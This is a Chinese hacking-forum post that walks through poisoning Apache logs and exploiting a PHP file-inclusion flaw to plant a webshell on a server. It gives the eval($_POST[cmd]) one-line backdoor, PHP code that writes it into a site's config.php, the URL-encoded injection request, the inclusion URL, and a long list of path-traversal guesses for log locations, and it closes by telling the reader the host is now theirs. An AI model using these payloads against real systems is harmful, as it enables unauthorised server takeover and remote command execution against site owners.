找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2039|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
+ Y! ^1 ~2 J5 E# o) X4 O: |( M
! [4 [8 U( G0 U( l. J8 P6 ?比如还是这句一句话木马
& {, R& B# l9 I$ s, m+ W4 E<?eval($_POST[cmd]);?>   ' V0 @2 `. Z8 D7 y* ]1 `
  I0 b% J3 i( U( C7 a) e  s
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
$ a) y7 Y* I1 t# Ofopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 " J. S* O& ~) X8 a3 ]( ~( O( Y0 g

5 \! s) |5 J0 @& X- L5 I- N<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); ! J* B4 Z8 g. k2 q; x8 k
fclose($fp);?>   //在config.php里写入一句木马语句 " v# Y. E7 {6 m# H! v3 j; ?+ e

# a/ P: k5 G& C; O我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 + `! ~' g" a% q* \4 r5 E8 D8 E9 H
转换为 # X) n" @( f5 o" Y3 E% ?
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
# d) T, b0 H9 z5 S- ?config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp 0 h7 y$ i% e+ s7 u0 f
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B * G8 h( R- ~" D0 e
fclose%28%24fp%29%3B%3F%3E
  x8 b$ f1 d& R: z% t/ y6 l我们提交
$ ]. j+ \, O+ d( p8 g& lhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww 3 A, U" p& x$ n4 {
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
0 M% p4 P8 N1 H! ]3 X%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B ' D# m2 ]' _. i% P! ?2 R9 S
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
# t6 s! c2 O: y0 k9 r: r7 J! ^: U- U( y& N: E6 t+ ?
这样就错误日志里就记录下了这行写入webshell的代码。
' @! J% |' b3 v0 Z' I我们再来包含日志,提交 ) W$ Z4 m8 Y$ l# v! n0 Q% p, f9 u+ c
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
. ^4 e! a4 s0 |( e8 b# I4 W
& D7 H- R! o$ {这样webshell就写入成功了,config.php里就写入一句木马语句
& D+ n% }; N5 W( h/ l. MOK. ' G. K  @, G) l# p0 R! `
http://www.xxx.com/forum/config.php这个就成了我们的webshell 4 H% [$ ^( W; h9 M7 J! s
直接用lanker的客户端一连,主机就是你的了。   [' z3 \, a- o
8 b" S. I# V, }+ A3 Z
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
$ ^1 N* T7 k  o3 t+ t2 ]) d1 ]
$ D! B: h$ N# t4 H- v* \其他的日志路径,你可以去猜,也可以参照这里。 ! \$ s/ @5 V& a
../../../../../../../../../../var/log/httpd/access_log / y0 Z' q3 c6 o, Z4 ]/ O2 u- T
../../../../../../../../../../var/log/httpd/error_log
$ k/ X/ k; X  P( h5 L2 ]* M7 }../apache/logs/error.log 1 ?1 I* f3 `# l- e
../apache/logs/access.log 1 E4 @! @& J" w
../../apache/logs/error.log 6 U# N/ F7 ?1 V5 q- {; q
../../apache/logs/access.log & U, I: P; _& E3 k8 X$ k6 O2 [
../../../apache/logs/error.log
  x8 @5 G* A1 D- F../../../apache/logs/access.log & i- }2 {, _& Y) [
../../../../../../../../../../etc/httpd/logs/acces_log
/ M& b$ r. G$ W4 _  V# b../../../../../../../../../../etc/httpd/logs/acces.log % r7 b3 f! K  N# X
../../../../../../../../../../etc/httpd/logs/error_log
" c; L5 C0 v: Q6 v# _2 d../../../../../../../../../../etc/httpd/logs/error.log
! I% n$ b7 l# F/ k# v! L8 J../../../../../../../../../../var/www/logs/access_log , R1 {. _3 Q. E* z4 U+ G2 l
../../../../../../../../../../var/www/logs/access.log 9 ]. u- y. |( L
../../../../../../../../../../usr/local/apache/logs/access_log 1 H" x2 R  T# B. @
../../../../../../../../../../usr/local/apache/logs/access.log 6 O) U1 G$ N8 b
../../../../../../../../../../var/log/apache/access_log , l! Z! ~& ]* F
../../../../../../../../../../var/log/apache/access.log 4 c6 F$ N" @( i3 D
../../../../../../../../../../var/log/access_log 1 `+ n/ P, B! b# v1 R
../../../../../../../../../../var/www/logs/error_log
5 |/ Y1 L& ^) o  x# Y0 E../../../../../../../../../../var/www/logs/error.log ) s; i3 E  O0 |) `$ @$ J
../../../../../../../../../../usr/local/apache/logs/error_log 2 h; Z8 ~8 A- u% X4 J% [0 h
../../../../../../../../../../usr/local/apache/logs/error.log - X& J7 _( L2 x* H7 g' [
../../../../../../../../../../var/log/apache/error_log
2 B& n0 n6 Z. J; E  \& c../../../../../../../../../../var/log/apache/error.log
, N5 q4 ~2 v9 l../../../../../../../../../../var/log/access_log
# H! t# J  A9 i! T( _7 }$ r../../../../../../../../../../var/log/error_log
- O' v: R; l  T/var/log/httpd/access_log       5 h' U; x$ L9 o! c6 l
/var/log/httpd/error_log       u3 ?. E, P9 H! T4 U) `! d
../apache/logs/error.log     
! J" u+ B; J* D1 q# L" \../apache/logs/access.log 7 D$ e2 N% y9 m1 u) \3 u
../../apache/logs/error.log ! \9 I4 u9 e8 J& O$ x7 V& }
../../apache/logs/access.log
5 B5 c! A" i$ J/ w# X0 Z1 M../../../apache/logs/error.log
: h5 P; E" j: E../../../apache/logs/access.log 7 F9 ^. p! t4 w2 j, `/ |
/etc/httpd/logs/acces_log # q/ k5 W- D0 h6 O# I
/etc/httpd/logs/acces.log ) \8 `  u# d/ N3 m! [5 t
/etc/httpd/logs/error_log , G& J/ z. F9 w
/etc/httpd/logs/error.log 0 ~8 C) k9 P1 B
/var/www/logs/access_log
$ `3 M2 w0 f1 I: h! v9 F/var/www/logs/access.log 3 l) q# e" t8 ]5 L9 x9 c( C
/usr/local/apache/logs/access_log + d: K: p3 B1 f; S
/usr/local/apache/logs/access.log ! D" H( w/ U6 }1 M9 b$ }
/var/log/apache/access_log ; V7 t3 Z1 }7 \; [0 v
/var/log/apache/access.log
$ ]/ P1 ?: h' q" Z; l& m/var/log/access_log
( C0 V- P  W5 o' j# {/var/www/logs/error_log 3 u7 z' A1 K6 f# H. `4 b
/var/www/logs/error.log $ N; i7 y2 T5 b! S# B# R
/usr/local/apache/logs/error_log
* s: s8 ~9 _3 r0 S! j; c/ d7 {1 F5 B/usr/local/apache/logs/error.log 6 {: W7 X: _! ~  d( w" a
/var/log/apache/error_log
0 y. Z2 h4 m. o. e' X  v, ~. ?- I/var/log/apache/error.log : r: h+ Y& p; y
/var/log/access_log
' C; X, @2 X/ ~4 P' T2 U* B  T/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表